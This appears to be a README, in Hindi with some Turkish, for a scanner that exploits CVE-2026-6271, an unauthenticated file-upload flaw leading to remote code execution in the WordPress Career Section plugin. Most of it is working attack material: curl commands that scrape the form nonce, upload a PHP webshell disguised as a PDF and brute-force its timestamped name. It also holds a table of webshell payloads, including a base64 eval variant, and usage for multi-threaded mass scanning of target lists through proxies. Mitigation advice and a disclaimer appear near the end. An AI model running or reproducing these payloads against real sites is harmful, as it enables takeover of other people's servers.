
स्वचालित स्कैनर CVE-2026-6271 के लिए, जो WordPress Career Section प्लगइन में एक गंभीर अप्रमाणित मनमाना फ़ाइल अपलोड है जो RCE की ओर ले जाता है। यह मल्टी-थ्रेडेड स्कैनिंग, एकाधिक शेल प्रकार, और प्रॉक्सी इंटीग्रेशन का समर्थन करता है।
प्लगइन: Career Section (
career-section) CVE आईडी: CVE-2026-6271 CVSS स्कोर: 9.8 (गंभीर) CVSS वेक्टर:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Hभेद्यता प्रकार: अप्रमाणित मनमाना फ़ाइल अपलोड → दूरस्थ कोड निष्पादन प्रभावित संस्करण: <= 1.7 पैच संस्करण: 1.8 प्रकाशन तिथि: 13 मई 2026 शोधकर्ता: Paolo Tresso — Wordfence
Career Section प्लगइन, साइट मालिकों को नौकरी के विज्ञापन प्रकाशित करने और आवेदन एकत्र करने की अनुमति देता है। प्रत्येक नौकरी विज्ञापन पृष्ठ पर एक "Apply Now" फ़ॉर्म होता है। इस फ़ॉर्म में एक CV फ़ाइल अपलोड क्षेत्र शामिल है।
1.7 और पिछले संस्करणों में अपलोड हैंडलर किसी भी फ़ाइल प्रकार को स्वीकार करता है — .php सहित। चूंकि फ़ॉर्म सार्वजनिक है और CSRF टोकन पृष्ठ HTML में एम्बेडेड है, इसलिए बिना किसी खाते या अनुमति की आवश्यकता के इस भेद्यता का शोषण किया जा सकता है।
WordPress नॉन्स CSRF टोकन हैं, प्रमाणीकरण टोकन नहीं। नॉन्स मान प्रत्येक आगंतुक के लिए पृष्ठ HTML में एम्बेडेड होता है:
<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>
कोई भी अप्रमाणित आगंतुक एक वैध नॉन्स प्राप्त कर सकता है और सत्यापन जांच पास कर सकता है।
// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {
$original_name = sanitize_file_name( $_FILES['cv']['name'] );
$name_file = time() . '_' . $original_name;
$destination = $cs_dir . '/' . $name_file;
// Uzantı kontrolü YOK — .php dahil her şey kabul edilir
if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
$uploaded_file_url = $upload_dir['baseurl']
. '/cs_applicant_submission_files/'
. $name_file;
}
}
sanitize_file_name() केवल विशेष वर्णों को साफ करता है, खतरनाक एक्सटेंशन को रोकता नहीं है।
wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>
इस निर्देशिका में PHP निष्पादन को रोकने वाली .htaccess फ़ाइल नहीं है।
| कारण | विवरण |
|---|---|
| प्रमाणीकरण आवश्यक नहीं | नॉन्स सार्वजनिक HTML में एम्बेडेड |
| फ़ाइल प्रकार प्रतिबंध नहीं | .php, .php5, .phtml स्वीकार्य |
.htaccess सुरक्षा नहीं | अपलोड निर्देशिका में PHP चलता है |
| अनुमान लगाने योग्य फ़ाइल नाम | time()_filename → टाइमस्टैम्प ब्रूट-फ़ोर्स |
⚠️ अस्वीकरण: यह PoC केवल शैक्षिक उद्देश्यों के लिए है। केवल उन सिस्टम पर परीक्षण करें जिनके आप मालिक हैं या जिनके लिए आपके पास स्पष्ट लिखित अनुमति है।
पूर्वापेक्षाएँ:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"
NONCE=$(curl -s "$JOB_URL" \
| grep -oP 'name="csaf_form_nonce" value="\K[^"]+')
echo "Nonce: $NONCE"
पृष्ठ स्रोत में खोजी जाने वाली संरचना:
<input type="hidden"
id="csaf_form_nonce"
name="csaf_form_nonce"
value="a1b2c3d4e5" />
TS=$(date +%s)
curl -s -X POST "$JOB_URL" \
-F "first_name=John" \
-F "last_name=Doe" \
-F "present_address=123 Main St" \
-F "[email protected]" \
-F "mobile_no=1234567890" \
-F "post_name=Engineer" \
-F "submit=Submit" \
-F "csaf_form_nonce=$NONCE" \
-F "[email protected];type=application/pdf" \
| grep -o "Application has been sent"
फ़ाइल नाम <timestamp>_shell.php फ़ॉर्मेट में है। $TS के आसपास टाइमस्टैम्प आज़माएं:
UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"
for T in $(seq $((TS-2)) $((TS+2))); do
URL="$UPLOADS/${T}_shell.php"
RESULT=$(curl -s "$URL?cmd=id")
if echo "$RESULT" | grep -q "uid="; then
echo "Webshell aktif: $URL"
echo "RCE çıktısı : $RESULT"
break
fi
done
अपेक्षित आउटपुट:
Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt
requirements.txt
requests
python career_section_rce.py -u http://hedef.com
python career_section_rce.py -u http://hedef.com \
--job-url http://hedef.com/careers/engineer/
python career_section_rce.py -u http://hedef.com \
--verify-cmd "whoami"
python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt
python career_section_rce.py -u http://hedef.com --ts-window 10
python career_section_rce.py -u http://hedef.com \
--shell-type full \
--proxy http://127.0.0.1:8080
| पैरामीटर | संक्षिप्त | विवरण | डिफ़ॉल्ट |
|---|---|---|---|
--url | -u | एकल लक्ष्य URL | — |
--list | -l | लक्ष्य सूची फ़ाइल | — |
--threads | -t | थ्रेड संख्या | 10 |
--output | -o | आउटपुट फ़ाइल | rce_confirmed.txt |
--job-url | — | सीधे जॉब लिस्टिंग URL | — |
--shell-name | — | अपलोड की जाने वाली फ़ाइल का नाम | shell.php |
--shell-type | — | शेल प्रकार | system |
--verify-cmd | — | RCE सत्यापन कमांड | id |
--ts-window | — | टाइमस्टैम्प ब्रूट-फ़ोर्स विंडो (±सेकंड) | 5 |
--proxy | — | प्रॉक्सी URL | — |
--timeout | — | अनुरोध टाइमआउट (सेकंड) | 10 |
| प्रकार | पेलोड | विवरण |
|---|---|---|
system | <?php system($_GET["cmd"]); ?> | मूल सिस्टम कमांड |
passthru | <?php passthru($_GET["cmd"]); ?> | कच्चा आउटपुट |
exec | <?php echo exec($_GET["cmd"]); ?> | मूक निष्पादन |
assert | <?php assert($_POST["cmd"]); ?> | POST के साथ eval |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Base64 अस्पष्टीकरण |
full | shell_exec + system + exec fallback | पूर्ण क्षमता वाला शेल |
WordPress Kök/
└── wp-content/
└── uploads/
└── cs_applicant_submission_files/
└── <timestamp>_shell.php ← Shell burada
सीधी पहुंच:
curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
| स्थिति | विवरण |
|---|---|
★ RCE OK | शेल अपलोड + कमांड सफलतापूर्वक निष्पादित |
★ SHELL ALIVE | शेल सुलभ, भिन्न प्रतिक्रिया लौटी |
~ EXEC_DISABLED | शेल मौजूद है लेकिन exec() सर्वर पर बंद है |
? UPLOADED | अपलोड हुआ लेकिन टाइमस्टैम्प नहीं मिला |
- BLOCKED | फ़ाइल प्रकार अवरुद्ध (पैच संस्करण) |
~ NO_NONCE | csaf_form_nonce नहीं मिला |
~ TIMEOUT | कनेक्शन टाइमआउट |
~ UNREACH | लक्ष्य तक नहीं पहुँचा जा सकता |
[*] 3 लक्ष्य | CVE-2026-6271 Career Section | threads=10
[★ RCE OK ] http://hedef1.com
Nonce : a1b2c3d4e5 (स्रोत: http://hedef1.com/careers/engineer/)
Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE आउटपुट : uid=33(www-data) gid=33(www-data) groups=33(www-data)
[- BLOCKED ] http://hedef2.com (फ़ाइल प्रकार अवरुद्ध)
[~ NO_NONCE ] http://hedef3.com (csaf_form_nonce नहीं मिला)
──────────────────────────────────────────────────────────────
UPLOADED_RCE_OK : 1 █
BLOCKED : 1 █
NO_NONCE : 1 █
──────────────────────────────────────────────────────────────
RCE पुष्ट → rce_confirmed.txt
──────────────────────────────────────────────────────────────
| उपाय | कार्यान्वयन |
|---|---|
| प्लगइन अपडेट | Career Section 1.8 या उससे ऊपर अपग्रेड करें |
| PHP निष्पादन अवरोध | अपलोड निर्देशिका में .htaccess जोड़ें |
| एक्सटेंशन श्वेतसूची | केवल pdf, doc, docx स्वीकार करें |
| MIME सत्यापन | finfo_file() के साथ वास्तविक सामग्री जांच |
| WAF नियम | .php अपलोड अनुरोधों को अवरुद्ध करें |
wp-content/uploads/cs_applicant_submission_files/ निर्देशिका के लिए .htaccess:
<FilesMatch "\.php\d?$">
Deny from all
</FilesMatch>
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
cve-2026-6271-scanner/
├── career_section_rce.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
यह उपकरण और PoC केवल अधिकृत सिस्टम पर, शैक्षिक उद्देश्यों और penetration परीक्षण के लिए तैयार किया गया है। अनधिकृत सिस्टम पर उपयोग तुर्की दंड संहिता के अनुच्छेद 243-245 और अंतरराष्ट्रीय साइबर अपराध कानूनों के तहत अपराध है। डेवलपर उपकरण के दुरुपयोग से उत्पन्न किसी भी कानूनी देयता को स्वीकार नहीं करता है।
MIT लाइसेंस — केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए।